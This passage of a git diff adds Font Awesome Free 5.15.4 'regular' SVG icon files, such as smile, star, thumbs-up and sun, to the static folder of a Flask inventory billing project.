viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm144 386.4V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v151.4C315.5 447 282.8 456 248 456s-67.5-9-96-24.6V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v114.4c-34.6-36-56-84.7-56-138.4 0-110.3 89.7-200 200-200s200 89.7 200 200c0 53.7-21.4 102.5-56 138.4zM205.8 234.5c4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.3 7.9 4.8 13.7 1.6zM344 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.5 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm-96 92c-30.9 0-56 28.7-56 64s25.1 64 56 64 56-28.7 56-64-25.1-64-56-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sad-tear.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sad-tear.svg new file mode 100644 index 00000000..e2771767 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sad-tear.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm8-152c-13.2 0-24 10.8-24 24s10.8 24 24 24c23.8 0 46.3 10.5 61.6 28.8 8.1 9.8 23.2 11.9 33.8 3.1 10.2-8.5 11.6-23.6 3.1-33.8C330 320.8 294.1 304 256 304zm-88-64c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-165.6 98.8C151 290.1 126 325.4 126 342.9c0 22.7 18.8 41.1 42 41.1s42-18.4 42-41.1c0-17.5-25-52.8-36.4-68.1-2.8-3.7-8.4-3.7-11.2 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/save.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/save.svg new file mode 100644 index 00000000..7add50da --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/save.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM272 80v80H144V80h128zm122 352H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h42v104c0 13.255 10.745 24 24 24h176c13.255 0 24-10.745 24-24V83.882l78.243 78.243a6 6 0 0 1 1.757 4.243V426a6 6 0 0 1-6 6zM224 232c-48.523 0-88 39.477-88 88s39.477 88 88 88 88-39.477 88-88-39.477-88-88-88zm0 128c-22.056 0-40-17.944-40-40s17.944-40 40-40 40 17.944 40 40-17.944 40-40 40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/share-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/share-square.svg new file mode 100644 index 00000000..49b4fa75 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/share-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M561.938 158.06L417.94 14.092C387.926-15.922 336 5.097 336 48.032v57.198c-42.45 1.88-84.03 6.55-120.76 17.99-35.17 10.95-63.07 27.58-82.91 49.42C108.22 199.2 96 232.6 96 271.94c0 61.697 33.178 112.455 84.87 144.76 37.546 23.508 85.248-12.651 71.02-55.74-15.515-47.119-17.156-70.923 84.11-78.76V336c0 42.993 51.968 63.913 81.94 33.94l143.998-144c18.75-18.74 18.75-49.14 0-67.88zM384 336V232.16C255.309 234.082 166.492 255.35 206.31 376 176.79 357.55 144 324.08 144 271.94c0-109.334 129.14-118.947 240-119.85V48l144 144-144 144zm24.74 84.493a82.658 82.658 0 0 0 20.974-9.303c7.976-4.952 18.286.826 18.286 10.214V464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h132c6.627 0 12 5.373 12 12v4.486c0 4.917-2.987 9.369-7.569 11.152-13.702 5.331-26.396 11.537-38.05 18.585a12.138 12.138 0 0 1-6.28 1.777H54a6 6 0 0 0-6 6v340a6 6 0 0 0 6 6h340a6 6 0 0 0 6-6v-25.966c0-5.37 3.579-10.059 8.74-11.541z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/smile-beam.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/smile-beam.svg new file mode 100644 index 00000000..75637bb0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/smile-beam.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm84-143.4c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.6-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.2-8.4-25.3-7.1-33.8 3.1zM136.5 211c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.4 1.1 7.4-.5 9.3-3.7l9.5-17zM328 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/smile-wink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/smile-wink.svg new file mode 100644 index 00000000..01233b49 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/smile-wink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm117.8-146.4c-10.2-8.5-25.3-7.1-33.8 3.1-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-60c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/smile.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/smile.svg new file mode 100644 index 00000000..a445272d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/smile.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm4 72.6c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.1-8.4-25.3-7.1-33.8 3.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/snowflake.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/snowflake.svg new file mode 100644 index 00000000..938182dc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/snowflake.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M440.1 355.2l-39.2-23 34.1-9.3c8.4-2.3 13.4-11.1 11.1-19.6l-4.1-15.5c-2.2-8.5-10.9-13.6-19.3-11.3L343 298.2 271.2 256l71.9-42.2 79.7 21.7c8.4 2.3 17-2.8 19.3-11.3l4.1-15.5c2.2-8.5-2.7-17.3-11.1-19.6l-34.1-9.3 39.2-23c7.5-4.4 10.1-14.2 5.8-21.9l-7.9-13.9c-4.3-7.7-14-10.3-21.5-5.9l-39.2 23 9.1-34.7c2.2-8.5-2.7-17.3-11.1-19.6l-15.2-4.1c-8.4-2.3-17 2.8-19.3 11.3l-21.3 81-71.9 42.2v-84.5L306 70.4c6.1-6.2 6.1-16.4 0-22.6l-11.1-11.3c-6.1-6.2-16.1-6.2-22.2 0l-24.9 25.4V16c0-8.8-7-16-15.7-16h-15.7c-8.7 0-15.7 7.2-15.7 16v46.1l-24.9-25.4c-6.1-6.2-16.1-6.2-22.2 0L142.1 48c-6.1 6.2-6.1 16.4 0 22.6l58.3 59.3v84.5l-71.9-42.2-21.3-81c-2.2-8.5-10.9-13.6-19.3-11.3L72.7 84c-8.4 2.3-13.4 11.1-11.1 19.6l9.1 34.7-39.2-23c-7.5-4.4-17.1-1.8-21.5 5.9l-7.9 13.9c-4.3 7.7-1.8 17.4 5.8 21.9l39.2 23-34.1 9.1c-8.4 2.3-13.4 11.1-11.1 19.6L6 224.2c2.2 8.5 10.9 13.6 19.3 11.3l79.7-21.7 71.9 42.2-71.9 42.2-79.7-21.7c-8.4-2.3-17 2.8-19.3 11.3l-4.1 15.5c-2.2 8.5 2.7 17.3 11.1 19.6l34.1 9.3-39.2 23c-7.5 4.4-10.1 14.2-5.8 21.9L10 391c4.3 7.7 14 10.3 21.5 5.9l39.2-23-9.1 34.7c-2.2 8.5 2.7 17.3 11.1 19.6l15.2 4.1c8.4 2.3 17-2.8 19.3-11.3l21.3-81 71.9-42.2v84.5l-58.3 59.3c-6.1 6.2-6.1 16.4 0 22.6l11.1 11.3c6.1 6.2 16.1 6.2 22.2 0l24.9-25.4V496c0 8.8 7 16 15.7 16h15.7c8.7 0 15.7-7.2 15.7-16v-46.1l24.9 25.4c6.1 6.2 16.1 6.2 22.2 0l11.1-11.3c6.1-6.2 6.1-16.4 0-22.6l-58.3-59.3v-84.5l71.9 42.2 21.3 81c2.2 8.5 10.9 13.6 19.3 11.3L375 428c8.4-2.3 13.4-11.1 11.1-19.6l-9.1-34.7 39.2 23c7.5 4.4 17.1 1.8 21.5-5.9l7.9-13.9c4.6-7.5 2.1-17.3-5.5-21.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/square.svg new file mode 100644 index 00000000..6a171998 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h340c3.3 0 6 2.7 6 6v340c0 3.3-2.7 6-6 6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/star-half.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/star-half.svg new file mode 100644 index 00000000..0c0c4d42 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/star-half.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 385.3l-124.3 65.4 23.7-138.4-100.6-98 139-20.2 62.2-126V0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6v-54.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/star.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/star.svg new file mode 100644 index 00000000..42caf502 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/star.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528.1 171.5L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6zM388.6 312.3l23.7 138.4L288 385.4l-124.3 65.3 23.7-138.4-100.6-98 139-20.2 62.2-126 62.2 126 139 20.2-100.6 98z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sticky-note.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sticky-note.svg new file mode 100644 index 00000000..760ae49a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sticky-note.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 348.106V80c0-26.51-21.49-48-48-48H48C21.49 32 0 53.49 0 80v351.988c0 26.51 21.49 48 48 48h268.118a48 48 0 0 0 33.941-14.059l83.882-83.882A48 48 0 0 0 448 348.106zm-128 80v-76.118h76.118L320 428.106zM400 80v223.988H296c-13.255 0-24 10.745-24 24v104H48V80h352z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/stop-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/stop-circle.svg new file mode 100644 index 00000000..42f328da --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/stop-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm296-80v160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sun.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sun.svg new file mode 100644 index 00000000..8e51c15c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sun.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M494.2 221.9l-59.8-40.5 13.7-71c2.6-13.2-1.6-26.8-11.1-36.4-9.6-9.5-23.2-13.7-36.2-11.1l-70.9 13.7-40.4-59.9c-15.1-22.3-51.9-22.3-67 0l-40.4 59.9-70.8-13.7C98 60.4 84.5 64.5 75 74.1c-9.5 9.6-13.7 23.1-11.1 36.3l13.7 71-59.8 40.5C6.6 229.5 0 242 0 255.5s6.7 26 17.8 33.5l59.8 40.5-13.7 71c-2.6 13.2 1.6 26.8 11.1 36.3 9.5 9.5 22.9 13.7 36.3 11.1l70.8-13.7 40.4 59.9C230 505.3 242.6 512 256 512s26-6.7 33.5-17.8l40.4-59.9 70.9 13.7c13.4 2.7 26.8-1.6 36.3-11.1 9.5-9.5 13.6-23.1 11.1-36.3l-13.7-71 59.8-40.5c11.1-7.5 17.8-20.1 17.8-33.5-.1-13.6-6.7-26.1-17.9-33.7zm-112.9 85.6l17.6 91.2-91-17.6L256 458l-51.9-77-90.9 17.6 17.6-91.2-76.8-52 76.8-52-17.6-91.2 91 17.6L256 53l51.9 76.9 91-17.6-17.6 91.1 76.8 52-76.8 52.1zM256 152c-57.3 0-104 46.7-104 104s46.7 104 104 104 104-46.7 104-104-46.7-104-104-104zm0 160c-30.9 0-56-25.1-56-56s25.1-56 56-56 56 25.1 56 56-25.1 56-56 56z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/surprise.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/surprise.svg new file mode 100644 index 00000000..1a50cb5c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/surprise.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-176c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm-48-72c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/thumbs-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/thumbs-down.svg new file mode 100644 index 00000000..3bc62f93 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/thumbs-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M466.27 225.31c4.674-22.647.864-44.538-8.99-62.99 2.958-23.868-4.021-48.565-17.34-66.99C438.986 39.423 404.117 0 327 0c-7 0-15 .01-22.22.01C201.195.01 168.997 40 128 40h-10.845c-5.64-4.975-13.042-8-21.155-8H32C14.327 32 0 46.327 0 64v240c0 17.673 14.327 32 32 32h64c11.842 0 22.175-6.438 27.708-16h7.052c19.146 16.953 46.013 60.653 68.76 83.4 13.667 13.667 10.153 108.6 71.76 108.6 57.58 0 95.27-31.936 95.27-104.73 0-18.41-3.93-33.73-8.85-46.54h36.48c48.602 0 85.82-41.565 85.82-85.58 0-19.15-4.96-34.99-13.73-49.84zM64 296c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm330.18 16.73H290.19c0 37.82 28.36 55.37 28.36 94.54 0 23.75 0 56.73-47.27 56.73-18.91-18.91-9.46-66.18-37.82-94.54C206.9 342.89 167.28 272 138.92 272H128V85.83c53.611 0 100.001-37.82 171.64-37.82h37.82c35.512 0 60.82 17.12 53.12 65.9 15.2 8.16 26.5 36.44 13.94 57.57 21.581 20.384 18.699 51.065 5.21 65.62 9.45 0 22.36 18.91 22.27 37.81-.09 18.91-16.71 37.82-37.82 37.82z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/thumbs-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/thumbs-up.svg new file mode 100644 index 00000000..099a2cfc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/thumbs-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M466.27 286.69C475.04 271.84 480 256 480 236.85c0-44.015-37.218-85.58-85.82-85.58H357.7c4.92-12.81 8.85-28.13 8.85-46.54C366.55 31.936 328.86 0 271.28 0c-61.607 0-58.093 94.933-71.76 108.6-22.747 22.747-49.615 66.447-68.76 83.4H32c-17.673 0-32 14.327-32 32v240c0 17.673 14.327 32 32 32h64c14.893 0 27.408-10.174 30.978-23.95 44.509 1.001 75.06 39.94 177.802 39.94 7.22 0 15.22.01 22.22.01 77.117 0 111.986-39.423 112.94-95.33 13.319-18.425 20.299-43.122 17.34-66.99 9.854-18.452 13.664-40.343 8.99-62.99zm-61.75 53.83c12.56 21.13 1.26 49.41-13.94 57.57 7.7 48.78-17.608 65.9-53.12 65.9h-37.82c-71.639 0-118.029-37.82-171.64-37.82V240h10.92c28.36 0 67.98-70.89 94.54-97.46 28.36-28.36 18.91-75.63 37.82-94.54 47.27 0 47.27 32.98 47.27 56.73 0 39.17-28.36 56.72-28.36 94.54h103.99c21.11 0 37.73 18.91 37.82 37.82.09 18.9-12.82 37.81-22.27 37.81 13.489 14.555 16.371 45.236-5.21 65.62zM88 432c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/times-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/times-circle.svg new file mode 100644 index 00000000..25f2ad11 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/times-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm101.8-262.2L295.6 256l62.2 62.2c4.7 4.7 4.7 12.3 0 17l-22.6 22.6c-4.7 4.7-12.3 4.7-17 0L256 295.6l-62.2 62.2c-4.7 4.7-12.3 4.7-17 0l-22.6-22.6c-4.7-4.7-4.7-12.3 0-17l62.2-62.2-62.2-62.2c-4.7-4.7-4.7-12.3 0-17l22.6-22.6c4.7-4.7 12.3-4.7 17 0l62.2 62.2 62.2-62.2c4.7-4.7 12.3-4.7 17 0l22.6 22.6c4.7 4.7 4.7 12.3 0 17z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/tired.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/tired.svg new file mode 100644 index 00000000..f46014cf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/tired.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm129.1-303.8c-3.8-4.4-10.3-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.8 1.6 15.3-2.5 3.8-4.5 3.9-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zM220 208c0-4.2-2.2-8.1-5.8-10.3l-80-48c-5-3-11.5-1.9-15.3 2.5-3.8 4.5-3.9 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.5 4.1 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3zm28 64c-45.4 0-100.9 38.3-107.8 93.3-1.5 11.8 6.9 21.6 15.5 17.9C178.4 373.5 212 368 248 368s69.6 5.5 92.3 15.2c8.5 3.7 17-6 